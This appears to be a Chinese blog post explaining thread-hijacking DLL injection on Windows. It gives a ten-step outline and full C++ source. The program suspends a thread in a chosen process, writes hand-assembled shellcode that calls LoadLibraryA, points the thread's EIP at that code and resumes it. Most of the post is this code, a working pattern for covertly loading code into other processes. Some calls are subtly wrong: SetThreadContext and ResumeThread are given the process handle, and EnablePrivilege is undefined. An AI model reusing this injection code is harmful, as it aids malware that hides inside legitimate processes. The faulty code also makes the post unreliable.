挂起线程注入

 挂起线程注入的思想

挂起线程后,获得线程当前的上下背景文。将其中的EIP设置为我们ShellCode的地址,执行完毕后再返回原本的EIP

流程

  1. 提权
  2. 获得线程的ID  可以通过进程ID CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0); te32.th32OwnerProcessID
  3. 通过线程ID获得线程句柄
  4. 在目标进程空间申请内存
  5. 通过SuspendThread挂起线程
  6. 通过GetThreadContext获得线程上下背景文 尤其是EIP
  7. 构建ShellCode
  8. 写入内存
  9. 设置上下背景文EIP我们ShellCode所在内存
  10. 恢复线程

我这里使用的是手动输入的方式获取进程id和线程id。


#include "stdafx.h"
#include <Windows.h>
#include<iostream>
using namespace std;

void CreateShellCode(int ret, int str, unsigned char** shellcode, int* shellcodeSize)
{
	unsigned char* retChar = (unsigned char*)&ret;
	unsigned char* strChar = (unsigned char*)&str;
	int api = (int)GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA");
	unsigned char* apiChar = (unsigned char*)&api;
	unsigned char sc[] = {
		// Push 原本的EIP
		0x68, retChar[0], retChar[1], retChar[2], retChar[3],
		// Push 所有标志位
		0x9C,
		// Push 所有寄存器
		0x60,
		// Push Dll地址
		0x68, strChar[0], strChar[1], strChar[2], strChar[3],
		// Mov eax, LoadLibrary
		0xB8, apiChar[0], apiChar[1], apiChar[2], apiChar[3],
		// Call eax
		0xFF, 0xD0,
		// Pop 所有寄存器
		0x61,
		// Pop 所有标志位
		0x9D,
		// Ret (返回到Push进的EIP位置)
		0xC3
	};

	*shellcodeSize = 22;
	*shellcode = (unsigned char*)malloc(22);
	memcpy(*shellcode, sc, 22);
}

int _tmain(int argc, char* argv[])
{


        EnablePrivilege(GetCurrentProcess(), TRUE, SE_DEBUG_NAME);
	char DllPath[] = "D:\\process-inject\\Debug\\Dll.dll";

	unsigned char* ShellCode;
	int ShellCodeLength;

	LPVOID Remote_DllStringPtr;
	LPVOID Remote_ShellCodePtr;

	CONTEXT ctx;

	DWORD ThreadId = 0;
	DWORD ProcessId = 0;
	HANDLE ThreadHandle = NULL;
	HANDLE ProcessHandle = NULL;
	cin >> ProcessId;
	cin >> ThreadId;

	ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
	if (NULL == ThreadHandle)
	{
		MessageBox(NULL, TEXT("对不起,获取线程句柄失败"), TEXT("Title"), MB_OK);
		return 0;
	}
	ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
	if (NULL == ProcessHandle)
	{
		MessageBox(NULL, TEXT("对不起,获取进程句柄失败"), TEXT("Title"), MB_OK);
		return 0;
	}
	SuspendThread(ThreadHandle);

	Remote_DllStringPtr = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
	printf("为DLL路径申请到的地址:%X\n", Remote_DllStringPtr);

	printf("Get EIP\n");
	ctx.ContextFlags = CONTEXT_CONTROL;
	GetThreadContext(ThreadHandle, &ctx);
	printf("EIP: %X\n", ctx.Eip);

	printf("创建ShellCode\n");
	CreateShellCode(ctx.Eip, (int)Remote_DllStringPtr, &ShellCode, &ShellCodeLength);


	printf("Allocating Remote Memory For Shellcode\n");
	Remote_ShellCodePtr = VirtualAllocEx(ProcessHandle, NULL, ShellCodeLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(ProcessHandle, Remote_DllStringPtr, DllPath, strlen(DllPath) + 1, NULL);
	WriteProcessMemory(ProcessHandle, Remote_ShellCodePtr, ShellCode, ShellCodeLength, NULL);

	printf("Set EIP\n");
	ctx.Eip = (DWORD)Remote_ShellCodePtr;
	ctx.ContextFlags = CONTEXT_CONTROL;
	SetThreadContext(ProcessHandle, &ctx);

	printf("ResumeThread\n");
	ResumeThread(ProcessHandle);

	Sleep(8000);

	VirtualFreeEx(ProcessHandle, Remote_DllStringPtr, strlen(DllPath) + 1, MEM_DECOMMIT);
	VirtualFreeEx(ProcessHandle, Remote_ShellCodePtr, ShellCodeLength, MEM_DECOMMIT);

	return 0;
}

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值